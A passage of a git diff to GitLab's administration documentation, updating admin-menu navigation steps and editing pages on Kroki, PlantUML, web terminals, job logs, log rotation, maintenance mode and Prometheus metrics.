+GitLab you can use it to create diagrams in AsciiDoc, Markdown, reStructuredText, and Textile documents.
## Kroki Server
@@ -55,7 +56,7 @@ read the [Kroki installation](https://docs.kroki.io/kroki/setup/install/#_images
You need to enable Kroki integration from Settings under Admin Area.
To do that, log in with an administrator account and follow these steps:
-1. Select the Admin Area (**{admin}**) icon.
+1. On the top bar, select **Menu >** **{admin}** **Admin**.
1. Go to **Settings > General**.
1. Expand the **Kroki** section.
1. Select **Enable Kroki** checkbox.
@@ -85,13 +86,29 @@ your AsciiDoc or Markdown documentation using delimited blocks:
....
```
+- **reStructuredText**
+
+ ```plaintext
+ .. code-block:: plantuml
+
+ Bob->Alice : hello
+ Alice -> Bob : hi
+ ```
+
+- **Textile**
+
+ ```plaintext
+ bc[plantuml]. Bob->Alice : hello
+ Alice -> Bob : hi
+ ```
+
The above blocks are converted to an HTML image tag with source pointing to the
Kroki instance. If the Kroki server is correctly configured, this should
render a nice diagram instead of the block:
![PlantUML diagram](../img/kroki_plantuml_diagram.png)
-Kroki supports more than a dozen diagram libraries. Here's a few examples:
+Kroki supports more than a dozen diagram libraries. Here's a few examples for AsciiDoc:
**GraphViz**
diff --git a/doc/administration/integration/plantuml.md b/doc/administration/integration/plantuml.md
index 834f4047fdd..2b18efde95d 100644
--- a/doc/administration/integration/plantuml.md
+++ b/doc/administration/integration/plantuml.md
@@ -206,7 +206,7 @@ stop;
After configuring your local PlantUML server, you're ready to enable the PlantUML integration:
1. Sign in to GitLab as an [Administrator](../../user/permissions.md) user.
-1. In the top menu, click **{admin}** **Admin Area**.
+1. On the top bar, select **Menu >** **{admin}** **Admin**.
1. In the left sidebar, go to **Settings > General** and expand the **PlantUML** section.
1. Select the **Enable PlantUML** check box.
1. Set the PlantUML instance as `https://gitlab.example.com/-/plantuml/`,
diff --git a/doc/administration/integration/terminal.md b/doc/administration/integration/terminal.md
index 644e2d905ae..9302e9a1edc 100644
--- a/doc/administration/integration/terminal.md
+++ b/doc/administration/integration/terminal.md
@@ -6,8 +6,6 @@ info: To determine the technical writer assigned to the Stage/Group associated w
# Web terminals **(FREE)**
-> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/7690) in GitLab 8.15.
-
With the introduction of the [Kubernetes integration](../../user/project/clusters/index.md),
GitLab can store and use credentials for a Kubernetes cluster.
GitLab uses these credentials to provide access to
@@ -99,9 +97,10 @@ they receive a `Connection failed` message.
## Limiting WebSocket connection time
-> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/8413) in GitLab 8.17.
+By default, terminal sessions do not expire. To limit the terminal session
+lifetime in your GitLab instance:
-Terminal sessions, by default, do not expire.
-You can limit terminal session lifetime in your GitLab instance. To do so,
-go to [**Admin Area > Settings > Web terminal**](../../user/admin_area/settings/index.md#general),
-and set a `max session time`.
+1. On the top bar, select **Menu >** **{admin}** **Admin**.
+1. Select
+ [**Settings > Web terminal**](../../user/admin_area/settings/index.md#general).
+1. Set a `max session time`.
diff --git a/doc/administration/issue_closing_pattern.md b/doc/administration/issue_closing_pattern.md
index 3b9ec74e6ee..31e9944d9a4 100644
--- a/doc/administration/issue_closing_pattern.md
+++ b/doc/administration/issue_closing_pattern.md
@@ -20,7 +20,7 @@ in the project's default branch.
In order to change the pattern you need to have access to the server that GitLab
is installed on.
-The default pattern can be located in [`gitlab.yml.example`](https://gitlab.com/gitlab-org/gitlab/blob/master/config/gitlab.yml.example)
+The default pattern can be located in [`gitlab.yml.example`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/gitlab.yml.example)
under the "Automatic issue closing" section.
NOTE:
diff --git a/doc/administration/job_artifacts.md b/doc/administration/job_artifacts.md
index 187e98e9b43..99eb1395503 100644
--- a/doc/administration/job_artifacts.md
+++ b/doc/administration/job_artifacts.md
@@ -1,6 +1,6 @@
---
stage: Verify
-group: Continuous Integration
+group: Testing
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference, howto
---
@@ -113,7 +113,7 @@ For source installations the following settings are nested under `artifacts:` an
| Setting | Default | Description |
|---------------------|---------|-------------|
| `enabled` | `false` | Enable or disable object storage. |
-| `remote_directory` | | The bucket name where Artifacts are stored. |
+| `remote_directory` | | The bucket name where Artifacts are stored. Use the name only, do not include the path. |
| `direct_upload` | `false` | Set to `true` to enable direct upload of Artifacts without the need of local shared storage. Option may be removed once we decide to support only single storage for all files. |
| `background_upload` | `true` | Set to `false` to disable automatic upload. Option may be removed once upload is direct to S3. |
| `proxy_download` | `false` | Set to `true` to enable proxying all files served. Option allows to reduce egress traffic as this allows clients to download directly from remote storage instead of proxying all data. |
diff --git a/doc/administration/job_logs.md b/doc/administration/job_logs.md
index 93f83311cad..510da68442c 100644
--- a/doc/administration/job_logs.md
+++ b/doc/administration/job_logs.md
@@ -10,7 +10,7 @@ type: reference
> [Renamed from job traces to job logs](https://gitlab.com/gitlab-org/gitlab/-/issues/29121) in GitLab 12.5.
Job logs are sent by a runner while it's processing a job. You can see
-logs in job pages, pipelines, email notifications, etc.
+logs in job pages, pipelines, email notifications, and so on.
## Data flow
@@ -20,9 +20,8 @@ In the following table you can see the phases a log goes through:
| Phase | State | Condition | Data flow | Stored path |
| -------------- | ------------ | ----------------------- | -----------------------------------------| ----------- |
| 1: patching | log | When a job is running | Runner => Puma => file storage | `#{ROOT_PATH}/gitlab-ci/builds/#{YYYY_mm}/#{project_id}/#{job_id}.log` |
-| 2: overwriting | log | When a job is finished | Runner => Puma => file storage | `#{ROOT_PATH}/gitlab-ci/builds/#{YYYY_mm}/#{project_id}/#{job_id}.log` |
-| 3: archiving | archived log | After a job is finished | Sidekiq moves log to artifacts folder | `#{ROOT_PATH}/gitlab-rails/shared/artifacts/#{disk_hash}/#{YYYY_mm_dd}/#{job_id}/#{job_artifact_id}/job.log` |
-| 4: uploading | archived log | After a log is archived | Sidekiq moves archived log to [object storage](#uploading-logs-to-object-storage) (if configured) | `#{bucket_name}/#{disk_hash}/#{YYYY_mm_dd}/#{job_id}/#{job_artifact_id}/job.log` |
+| 2: archiving | archived log | After a job is finished | Sidekiq moves log to artifacts folder | `#{ROOT_PATH}/gitlab-rails/shared/artifacts/#{disk_hash}/#{YYYY_mm_dd}/#{job_id}/#{job_artifact_id}/job.log` |
+| 3: uploading | archived log | After a log is archived | Sidekiq moves archived log to [object storage](#uploading-logs-to-object-storage) (if configured) | `#{bucket_name}/#{disk_hash}/#{YYYY_mm_dd}/#{job_id}/#{job_artifact_id}/job.log` |
The `ROOT_PATH` varies per environment. For Omnibus GitLab it
would be `/var/opt/gitlab`, and for installations from source
@@ -128,6 +127,11 @@ This command permanently deletes the log files and is irreversible.
find /var/opt/gitlab/gitlab-rails/shared/artifacts -name "job.log" -mtime +60 -delete
```
+NOTE:
+After execution, broken file references can be reported when running
+[`sudo gitlab-rake gitlab:artifacts:check`](raketasks/check.md#uploaded-files-integrity).
+For more information, see [delete references to missing artifacts](raketasks/check.md#delete-references-to-missing-artifacts).
+
## Incremental logging architecture
> - [Deployed behind a feature flag](../user/feature_flags.md), disabled by default.
diff --git a/doc/administration/libravatar.md b/doc/administration/libravatar.md
index 552dc7095e2..b62e2ed4313 100644
--- a/doc/administration/libravatar.md
+++ b/doc/administration/libravatar.md
@@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
type: howto
---
-# Using the Libravatar service with GitLab
+# Using the Libravatar service with GitLab **(FREE SELF)**
GitLab by default supports the [Gravatar](https://gravatar.com) avatar service.
@@ -17,7 +17,7 @@ server.
## Configuration
-In the [`gitlab.yml` gravatar section](https://gitlab.com/gitlab-org/gitlab/blob/672bd3902d86b78d730cea809fce312ec49d39d7/config/gitlab.yml.example#L122), set
+In the [`gitlab.yml` gravatar section](https://gitlab.com/gitlab-org/gitlab/-/blob/672bd3902d86b78d730cea809fce312ec49d39d7/config/gitlab.yml.example#L122), set
the configuration options as follows:
### For HTTP
diff --git a/doc/administration/load_balancer.md b/doc/administration/load_balancer.md
index ae96989a188..ca66791166e 100644
--- a/doc/administration/load_balancer.md
+++ b/doc/administration/load_balancer.md
@@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
type: reference
---
-# Load Balancer for multi-node GitLab
+# Load Balancer for multi-node GitLab **(FREE SELF)**
In an multi-node GitLab configuration, you need a load balancer to route
traffic to the application servers. The specifics on which load balancer to use
diff --git a/doc/administration/logs.md b/doc/administration/logs.md
index 289e2cb5362..cf9c2143d8c 100644
--- a/doc/administration/logs.md
+++ b/doc/administration/logs.md
@@ -21,6 +21,42 @@ including adjusting log retention, log forwarding,
switching logs from JSON to plain text logging, and more.
- [How to parse and analyze JSON logs](troubleshooting/log_parsing.md).
+## Log Rotation
+
+The logs for a given service may be managed and rotated by:
+
+- `logrotate`
+- `svlogd` (`runit`'s service logging daemon)
+- `logrotate` and `svlogd`
+- Or not at all
+
+The table below includes information about what is responsible for managing and rotating logs for
+the included services. Logs
+[managed by `svlogd`](https://docs.gitlab.com/omnibus/settings/logs.html#runit-logs)
+are written to a file called `current`. The `logrotate` service built into GitLab
+[manages all logs](https://docs.gitlab.com/omnibus/settings/logs.html#logrotate)
+except those captured by `runit`.
+
+| Log Type | Managed by logrotate | Managed by svlogd/runit |
+| ----------------------------------------------- | -------------------- | ----------------------- |
+| [Alertmanager Logs](#alertmanager-logs) | N | Y |
+| [Crond Logs](#crond-logs) | N | Y |
+| [Gitaly](#gitaly-logs) | Y | Y |
+| [GitLab Exporter For Omnibus](#gitlab-exporter) | N | Y |
+| [GitLab Pages Logs](#pages-logs) | Y | Y |
+| GitLab Rails | Y | N |
+| [GitLab Shell Logs](#gitlab-shelllog) | Y | N |
+| [Grafana Logs](#grafana-logs) | N | Y |
+| [LogRotate Logs](#logrotate-logs) | N | Y |
+| [Mailroom](#mail_room_jsonlog-default) | Y | Y |
+| [NGINX](#nginx-logs) | Y | Y |
+| [PostgreSQL Logs](#postgresql-logs) | N | Y |
+| [Prometheus Logs](#prometheus-logs) | N | Y |
+| [Puma](#puma-logs) | Y | Y |
+| [Redis Logs](#redis-logs) | N | Y |
+| [Registry Logs](#registry-logs) | N | Y |
+| [Workhorse Logs](#workhorse-logs) | Y | Y |
+
## `production_json.log`
This file lives in `/var/log/gitlab/gitlab-rails/production_json.log` for
@@ -275,7 +311,7 @@ installations from source.
It contains the JSON version of the logs in `application.log` like the example below:
-``` json
+```json
{
"severity":"INFO",
"time":"2020-01-14T13:35:15.466Z",
@@ -302,7 +338,7 @@ It contains information about [integrations](../user/project/integrations/overvi
{
"severity":"ERROR",
"time":"2018-09-06T14:56:20.439Z",
- "service_class":"JiraService",
+ "service_class":"Integrations::Jira",
"project_id":8,
"project_path":"h5bp/html5-boilerplate",
"message":"Error sending message",
@@ -312,7 +348,7 @@ It contains information about [integrations](../user/project/integrations/overvi
{
"severity":"INFO",
"time":"2018-09-06T17:15:16.365Z",
- "service_class":"JiraService",
+ "service_class":"Integrations::Jira",
"project_id":3,
"project_path":"namespace2/project2",
"message":"Successfully posted",
@@ -611,41 +647,6 @@ This file lives in `/var/log/gitlab/puma/puma_stderr.log` for
Omnibus GitLab packages, or in `/home/git/gitlab/log/puma_stderr.log` for
installations from source.
-## Unicorn Logs
-
-Starting with GitLab 13.0, Puma is the default web server used in GitLab
-all-in-one package based installations, and GitLab Helm chart deployments.
-
-### `unicorn_stdout.log`
-
-This file lives in `/var/log/gitlab/unicorn/unicorn_stdout.log` for
-Omnibus GitLab packages or in `/home/git/gitlab/log/unicorn_stdout.log` for
-for installations from source.
-
-### `unicorn_stderr.log`
-
-This file lives in `/var/log/gitlab/unicorn/unicorn_stderr.log` for
-Omnibus GitLab packages or in `/home/git/gitlab/log/unicorn_stderr.log` for
-for installations from source.
-
-These logs contain all information about the state of Unicorn processes at any given time.
-
-```plaintext
-I, [2015-02-13T06:14:46.680381 #9047] INFO -- : Refreshing Gem list
-I, [2015-02-13T06:14:56.931002 #9047] INFO -- : listening on addr=127.0.0.1:8080 fd=12
-I, [2015-02-13T06:14:56.931381 #9047] INFO -- : listening on addr=/var/opt/gitlab/gitlab-rails/sockets/gitlab.socket fd=13
-I, [2015-02-13T06:14:56.936638 #9047] INFO -- : master process ready
-I, [2015-02-13T06:14:56.946504 #9092] INFO -- : worker=0 spawned pid=9092
-I, [2015-02-13T06:14:56.946943 #9092] INFO -- : worker=0 ready
-I, [2015-02-13T06:14:56.947892 #9094] INFO -- : worker=1 spawned pid=9094
-I, [2015-02-13T06:14:56.948181 #9094] INFO -- : worker=1 ready
-W, [2015-02-13T07:16:01.312916 #9094] WARN -- : #<Unicorn::HttpServer:0x0000000208f618>: worker (pid: 9094) exceeds memory limit (320626688 bytes > 247066940 bytes)
-W, [2015-02-13T07:16:01.313000 #9094] WARN -- : Unicorn::WorkerKiller send SIGQUIT (pid: 9094) alive: 3621 sec (trial 1)
-I, [2015-02-13T07:16:01.530733 #9047] INFO -- : reaped #<Process::Status: pid 9094 exit 0> worker=1
-I, [2015-02-13T07:16:01.534501 #13379] INFO -- : worker=1 spawned pid=13379
-I, [2015-02-13T07:16:01.534848 #13379] INFO -- : worker=1 ready
-```
-
## `repocheck.log`
This file lives in `/var/log/gitlab/gitlab-rails/repocheck.log` for
@@ -774,7 +775,7 @@ When enabled, access logs are generated in
packages or in `/home/git/gitlab/log/sidekiq_exporter.log` for
installations from source.
-If Prometheus metrics and the Web Exporter are both enabled, Puma/Unicorn
+If Prometheus metrics and the Web Exporter are both enabled, Puma
starts a Web server and listen to the defined port (default: `8083`), and access logs
are generated:
@@ -824,7 +825,7 @@ Line breaks have been added to the following example line for clarity:
This file logs the information about exceptions being tracked by
`Gitlab::ErrorTracking`, which provides a standard and consistent way of
-[processing rescued exceptions](https://gitlab.com/gitlab-org/gitlab/blob/master/doc/development/logging.md#exception-handling). This file is stored in:
+[processing rescued exceptions](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/development/logging.md#exception-handling). This file is stored in:
- `/var/log/gitlab/gitlab-rails/exceptions_json.log` for Omnibus GitLab packages.
- `/home/git/gitlab/log/exceptions_json.log` for installations from source.
diff --git a/doc/administration/maintenance_mode/index.md b/doc/administration/maintenance_mode/index.md
index 7fd383eabae..c73a49287db 100644
--- a/doc/administration/maintenance_mode/index.md
+++ b/doc/administration/maintenance_mode/index.md
@@ -35,8 +35,8 @@ There are three ways to enable Maintenance Mode as an administrator:
- [**Rails console**](../operations/rails_console.md#starting-a-rails-console-session):
```ruby
- ::Gitlab::CurrentSettings.update_attributes!(maintenance_mode: true)
- ::Gitlab::CurrentSettings.update_attributes!(maintenance_mode_message: "New message")
+ ::Gitlab::CurrentSettings.update!(maintenance_mode: true)
+ ::Gitlab::CurrentSettings.update!(maintenance_mode_message: "New message")
```
## Disable Maintenance Mode
@@ -143,25 +143,25 @@ is turned off.
### Deployments
-Deployments won't go through because pipelines will be unfinished.
+Deployments don't go through because pipelines are unfinished.
It is recommended to disable auto deploys during Maintenance Mode, and enable them once it is disabled.
#### Terraform integration
-Terraform integration depends on running CI pipelines, hence it will be blocked.
+Terraform integration depends on running CI pipelines, hence it is blocked.
### Container Registry
-`docker push` will fail with this error: `denied: requested access to the resource is denied`, but `docker pull` will work.
+`docker push` fails with this error: `denied: requested access to the resource is denied`, but `docker pull` works.
### Package Registry
-Package Registry will allow you to install but not publish packages.
+Package Registry allows you to install but not publish packages.
### Background jobs
-Background jobs (cron jobs, Sidekiq) will continue running as is, because background jobs are not automatically disabled.
+Background jobs (cron jobs, Sidekiq) continue running as is, because background jobs are not automatically disabled.
[During a planned Geo failover](../geo/disaster_recovery/planned_failover.md#prevent-updates-to-the-primary-node),
it is recommended that you disable all cron jobs except for those related to Geo.
@@ -170,34 +170,34 @@ You can monitor queues and disable jobs in **Admin Area > Monitoring > Backgroun
### Incident management
-[Incident management](../../operations/incident_management/index.md) functions will be limited. The creation of [alerts](../../operations/incident_management/alerts.md) and [incidents](../../operations/incident_management/incidents.md#incident-creation) will be paused entirely. Notifications and paging on alerts and incidents will therefore be disabled.
+[Incident management](../../operations/incident_management/index.md) functions are limited. The creation of [alerts](../../operations/incident_management/alerts.md) and [incidents](../../operations/incident_management/incidents.md#incident-creation) are paused entirely. Notifications and paging on alerts and incidents are therefore disabled.
### Feature flags
- [Development feature flags](../../development/feature_flags/index.md) cannot be turned on or off through the API, but can be toggled through the Rails console.
-- [The feature flag service](../../operations/feature_flags.md) will respond to feature flag checks but feature flags cannot be toggled
+- [The feature flag service](../../operations/feature_flags.md) responds to feature flag checks but feature flags cannot be toggled
### Geo secondaries
-When primary is in Maintenance Mode, secondary will also automatically go into Maintenance Mode.
+When primary is in Maintenance Mode, secondary also automatically goes into Maintenance Mode.
It is important that you do not disable replication before enabling Maintenance Mode.
-Replication and verification will continue to work but proxied Git pushes to primary will not work.
+Replication and verification continues to work but proxied Git pushes to primary do not work.
### Secure features
-Features that depend on creating issues or creating or approving Merge Requests, will not work.
+Features that depend on creating issues or creating or approving Merge Requests, do not work.
-Exporting a vulnerability list from a Vulnerability Report page will not work.
+Exporting a vulnerability list from a Vulnerability Report page does not work.
-Changing the status on a finding or vulnerability object will not work, even though no error is shown in the UI.
+Changing the status on a finding or vulnerability object does not work, even though no error is shown in the UI.
SAST and Secret Detection cannot be initiated because they depend on passing CI jobs to create artifacts.
## An example use case: a planned failover
-In the use case of [a planned failover](../geo/disaster_recovery/planned_failover.md), a few writes in the primary database are acceptable, since they will be replicated quickly and are not significant in number.
+In the use case of [a planned failover](../geo/disaster_recovery/planned_failover.md), a few writes in the primary database are acceptable, since they are replicated quickly and are not significant in number.
For the same reason we don't automatically block background jobs when Maintenance Mode is enabled.
diff --git a/doc/administration/monitoring/gitlab_self_monitoring_project/index.md b/doc/administration/monitoring/gitlab_self_monitoring_project/index.md
index 8d3c8555660..b1ec74c2f40 100644
--- a/doc/administration/monitoring/gitlab_self_monitoring_project/index.md
+++ b/doc/administration/monitoring/gitlab_self_monitoring_project/index.md
@@ -20,7 +20,8 @@ GitLab instance.
All administrators at the time of creation of the project and group are
added as maintainers of the group and project, and as an administrator, you can
-add new members to the group to give them maintainer access to the project.
+add new members to the group to give them the [Maintainer role](../../../user/permissions.md) for
+the project.
This project is used to self monitor your GitLab instance. The metrics dashboard
of the project shows some basic resource usage charts, such as CPU and memory usage
@@ -32,9 +33,12 @@ metrics exposed by the [GitLab exporter](../prometheus/gitlab_metrics.md#metrics
## Creating the self monitoring project
-1. Go to **Admin Area > Settings > Metrics and profiling** and expand the **Self monitoring** section.
+1. On the top bar, select **Menu >** **{admin}** **Admin**.
+1. On the left sidebar, select **Settings > Metrics and profiling** and expand **Self monitoring**.
1. Toggle the **Create Project** button on.
-1. Once your GitLab instance creates the project, GitLab displays a link to the project in the text above the **Create Project** toggle. You can also find it under **Projects > Your projects**.
+1. After your GitLab instance creates the project, GitLab displays a link to the
+ project in the text above the **Create Project** toggle. You can also find it
+ from the top bar by selecting **Menu > Project**, then selecting **Your projects**.
## Deleting the self monitoring project
@@ -42,7 +46,8 @@ WARNING:
Deleting the self monitoring project removes any changes made to the project. If
you create the project again, it's created in its default state.
-1. Go to **Admin Area > Settings > Metrics and profiling** and expand the **Self monitoring** section.
+1. On the top bar, select **Menu >** **{admin}** **Admin**.
+1. On the left sidebar, go to **Settings > Metrics and profiling** and expand **Self monitoring**.
1. Toggle the **Create Project** button off.
1. In the confirmation dialog that opens, click **Delete project**.
It can take a few seconds for it to be deleted.
diff --git a/doc/administration/monitoring/performance/gitlab_configuration.md b/doc/administration/monitoring/performance/gitlab_configuration.md
index 6e7557854ad..e8abe2708c7 100644
--- a/doc/administration/monitoring/performance/gitlab_configuration.md
+++ b/doc/administration/monitoring/performance/gitlab_configuration.md
@@ -9,7 +9,8 @@ info: To determine the technical writer assigned to the Stage/Group associated w
GitLab Performance Monitoring is disabled by default. To enable it and change any of its
settings:
-1. Go to **Admin Area > Settings > Metrics and profiling**
+1. On the top bar, select **Menu >** **{admin}** **Admin**.
+1. On the left sidebar, select **Settings > Metrics and profiling**
(`/admin/application_settings/metrics_and_profiling`).
1. Add the necessary configuration changes.
1. Restart all GitLab for the changes to take effect:
diff --git a/doc/administration/monitoring/performance/grafana_configuration.md b/doc/administration/monitoring/performance/grafana_configuration.md
index ac322f3e1ef..3b82b0e4bb8 100644
--- a/doc/administration/monitoring/performance/grafana_configuration.md
+++ b/doc/administration/monitoring/performance/grafana_configuration.md
@@ -62,8 +62,9 @@ repository.
After setting up Grafana, you can enable a link to access it easily from the
GitLab sidebar:
-1. Go to the **Admin Area > Settings > Metrics and profiling**.
-1. Expand **Metrics - Grafana**.
+1. On the top bar, select **Menu >** **{admin}** **Admin**.
+1. On the left sidebar, select **Settings > Metrics and profiling**
+ and expand **Metrics - Grafana**.
1. Check the **Enable access to Grafana** checkbox.
1. Configure the **Grafana URL**:
- *If Grafana is enabled through Omnibus GitLab and on the same server,*
@@ -71,7 +72,7 @@ GitLab sidebar:
- *Otherwise,* enter the full URL of the Grafana instance.
1. Click **Save changes**.
-GitLab displays your link in the **Admin Area > Monitoring > Metrics Dashboard**.
+GitLab displays your link in the **Menu > Admin > Monitoring > Metrics Dashboard**.
## Security Update
diff --git a/doc/administration/monitoring/performance/index.md b/doc/administration/monitoring/performance/index.md
index 15c54a36f6c..f3db6ac9f03 100644
--- a/doc/administration/monitoring/performance/index.md
+++ b/doc/administration/monitoring/performance/index.md
@@ -69,6 +69,5 @@ The following environment variables are recognized:
- `DATABASE_SAMPLER_INTERVAL_SECONDS`
- `ACTION_CABLE_SAMPLER_INTERVAL_SECONDS`
- `PUMA_SAMPLER_INTERVAL_SECONDS`
-- `UNICORN_SAMPLER_INTERVAL_SECONDS`
- `THREADS_SAMPLER_INTERVAL_SECONDS`
- `GLOBAL_SEARCH_SAMPLER_INTERVAL_SECONDS`
diff --git a/doc/administration/monitoring/performance/performance_bar.md b/doc/administration/monitoring/performance/performance_bar.md
index dd43c7d6fbb..1125547f13f 100644
--- a/doc/administration/monitoring/performance/performance_bar.md
+++ b/doc/administration/monitoring/performance/performance_bar.md
@@ -6,7 +6,8 @@ info: To determine the technical writer assigned to the Stage/Group associated w
# Performance Bar **(FREE SELF)**
-> The **Stats** field [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/271551) in GitLab SaaS 13.9.
+> The **Stats** field [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/271551) in GitLab 13.9.
+> The **Memory** field [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/330736) in GitLab 14.0.
You can display the GitLab Performance Bar to see statistics for the performance
of a page. When activated, it looks as follows:
@@ -40,9 +41,11 @@ From left to right, it displays:
Time until something was visible to the user.
- [**DomContentLoaded**](https://developers.google.com/web/fundamentals/performance/critical-rendering-path/measure-crp) Event.
- **Total number of requests** the page loaded.
-- **Trace**: If Jaeger is integrated, **Trace** links to a Jaeger tracing page
+- **Memory**: the amount of memory consumed and objects allocated during the selected request.
+ Select it to display a window with more details.
+- **Trace**: if Jaeger is integrated, **Trace** links to a Jaeger tracing page
with the current request's `correlation_id` included.
-- **+**: A link to add a request's details to the performance bar. The request
+- **+**: a link to add a request's details to the performance bar. The request
can be added by its full URL (authenticated as the current user), or by the value of
its `X-Request-Id` header.
- **Download**: a link to download the raw JSON used to generate the Performance Bar reports.
@@ -52,6 +55,11 @@ From left to right, it displays:
- **Stats** (optional): if the `GITLAB_PERFORMANCE_BAR_STATS_URL` environment variable is set,
this URL is displayed in the bar. In GitLab 13.9 and later, used only in GitLab SaaS.
+NOTE:
+Not all indicators are available in all environments. For instance, the memory view
+requires to run Ruby with [specific patches](https://gitlab.com/gitlab-org/gitlab-build-images/-/blob/master/patches/ruby/2.7.2/thread-memory-allocations-2.7.patch) applied.
+When running GitLab locally using the GDK this is typically not the case and the memory view cannot be used.
+
## Request warnings
Requests that exceed predefined limits display a warning **{warning}** icon and
@@ -68,12 +76,13 @@ appears next to requests with warnings.
## Enable the Performance Bar via the Admin Area
-The GitLab Performance Bar is disabled by default. To enable it for a given group:
+The GitLab Performance Bar is disabled by default for non-administrators. To enable it
+for a given group:
1. Sign in as a user with Administrator [permissions](../../../user/permissions.md).
-1. In the menu bar, click **Admin Area**.
-1. Go to **Settings > Metrics and profiling**
- (`admin/application_settings/metrics_and_profiling`), and expand the section
+1. On the top bar, select **Menu >** **{admin}** **Admin**.
+1. On the left sidebar, select **Settings > Metrics and profiling**
+ (`admin/application_settings/metrics_and_profiling`), and expand
**Profiling - Performance bar**.
1. Click **Enable access to the Performance Bar**.
1. In the **Allowed group** field, provide the full path of the group allowed
diff --git a/doc/administration/monitoring/performance/request_profiling.md b/doc/administration/monitoring/performance/request_profiling.md
index 15a58456e05..ebdca8d3960 100644
--- a/doc/administration/monitoring/performance/request_profiling.md
+++ b/doc/administration/monitoring/performance/request_profiling.md
@@ -8,7 +8,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
To profile a request:
-1. Sign in to GitLab as a user with Administrator or Maintainer [permissions](../../../user/permissions.md).
+1. Sign in to GitLab as an Administrator or a user with the [Maintainer role](../../../user/permissions.md).
1. In the navigation bar, click **Admin area**.
1. Go to **Monitoring > Requests Profiles**.
1. In the **Requests Profiles** section, copy the token.
diff --git a/doc/administration/monitoring/prometheus/gitlab_metrics.md b/doc/administration/monitoring/prometheus/gitlab_metrics.md
index f29db9ead38..7e72f6ed7df 100644
--- a/doc/administration/monitoring/prometheus/gitlab_metrics.md
+++ b/doc/administration/monitoring/prometheus/gitlab_metrics.md
@@ -9,7 +9,8 @@ info: To determine the technical writer assigned to the Stage/Group associated w
To enable the GitLab Prometheus metrics:
1. Log into GitLab as a user with [administrator permissions](../../../user/permissions.md).
-1. Go to **Admin Area > Settings > Metrics and profiling**.
+1. On the top bar, select **Menu >** **{admin}** **Admin**.
+1. On the left sidebar, select **Settings > Metrics and profiling**.
1. Find the **Metrics - Prometheus** section, and click **Enable Prometheus Metrics**.
1. [Restart GitLab](../../restart_gitlab.md#omnibus-gitlab-restart) for the changes to take effect.
@@ -58,7 +59,7 @@ The following metrics are available:
| `gitlab_transaction_cache_duration_total` | Counter | 10.2 | Counter for total time (seconds) spent in Rails cache calls (aggregate) | |
| `gitlab_transaction_cache_read_hit_count_total` | Counter | 10.2 | Counter for cache hits for Rails cache calls | `controller`, `action` |
| `gitlab_transaction_cache_read_miss_count_total` | Counter | 10.2 | Counter for cache misses for Rails cache calls | `controller`, `action` |
-| `gitlab_transaction_duration_seconds` | Histogram | 10.2 | Duration for all transactions (`gitlab_transaction_*` metrics) | `controller`, `action` |
+| `gitlab_transaction_duration_seconds` | Histogram | 10.2 | Duration for successful requests (`gitlab_transaction_*` metrics) | `controller`, `action` |
| `gitlab_transaction_event_build_found_total` | Counter | 9.4 | Counter for build found for API /jobs/request | |
| `gitlab_transaction_event_build_invalid_total` | Counter | 9.4 | Counter for build invalid due to concurrency conflict for API /jobs/request | |
| `gitlab_transaction_event_build_not_found_cached_total` | Counter | 9.4 | Counter for cached response of build not found for API /jobs/request | |
@@ -91,7 +92,7 @@ The following metrics are available:
| `gitlab_transaction_view_duration_total` | Counter | 9.4 | Duration for views | `controller`, `action`, `view` |
| `gitlab_view_rendering_duration_seconds` | Histogram | 10.2 | Duration for views (histogram) | `controller`, `action`, `view` |
| `http_requests_total` | Counter | 9.4 | Rack request count | `method`, `status` |
-| `http_request_duration_seconds` | Histogram | 9.4 | HTTP response time from rack middleware | `method` |
+| `http_request_duration_seconds` | Histogram | 9.4 | HTTP response time from rack middleware for successful requests | `method` |
| `gitlab_transaction_db_count_total` | Counter | 13.1 | Counter for total number of SQL calls | `controller`, `action` |
| `gitlab_transaction_db_<role>_count_total` | Counter | 13.10 | Counter for total number of SQL calls, grouped by database roles (primary/replica) | `controller`, `action` |
| `gitlab_transaction_db_write_count_total` | Counter | 13.1 | Counter for total number of write SQL calls | `controller`, `action` |
@@ -130,6 +131,8 @@ The following metrics are available:
| `gitlab_ci_pipeline_security_orchestration_policy_processing_duration_seconds` | Histogram | 13.12 | Time in seconds it takes to process Security Policies in CI/CD pipeline | |
| `gitlab_ci_difference_live_vs_actual_minutes` | Histogram | 13.12 | Difference between CI minute consumption counted while jobs were running (live) vs when jobs are complete (actual). Used to enforce CI minute consumption limits on long running jobs. | `plan` |
| `gitlab_spamcheck_request_duration_seconds` | Histogram | 13.12 | The duration for requests between Rails and the anti-spam engine | |
+| `service_desk_thank_you_email` | Counter | 14.0 | Total number of email responses to new service desk emails | |
+| `service_desk_new_note_email` | Counter | 14.0 | Total number of email notifications on new service desk comment | |
## Metrics controlled by a feature flag
@@ -227,11 +230,15 @@ configuration option in `gitlab.yml`. These metrics are served from the
| `global_search_bulk_cron_queue_size` | Gauge | 12.10 | Number of database records waiting to be synchronized to Elasticsearch | |
| `global_search_awaiting_indexing_queue_size` | Gauge | 13.2 | Number of database updates waiting to be synchronized to Elasticsearch while indexing is paused | |
| `geo_merge_request_diffs` | Gauge | 13.4 | Number of merge request diffs on primary | `url` |
-| `geo_merge_request_diffs_checksummed` | Gauge | 13.4 | Number of merge request diffs checksummed on primary | `url` |
+| `geo_merge_request_diffs_checksum_total` | Gauge | 13.12 | Number of merge request diffs tried to checksum on primary | `url` |
+| `geo_merge_request_diffs_checksummed` | Gauge | 13.4 | Number of merge request diffs successfully checksummed on primary | `url` |
| `geo_merge_request_diffs_checksum_failed` | Gauge | 13.4 | Number of merge request diffs failed to calculate the checksum on primary | `url` |
| `geo_merge_request_diffs_synced` | Gauge | 13.4 | Number of syncable merge request diffs synced on secondary | `url` |
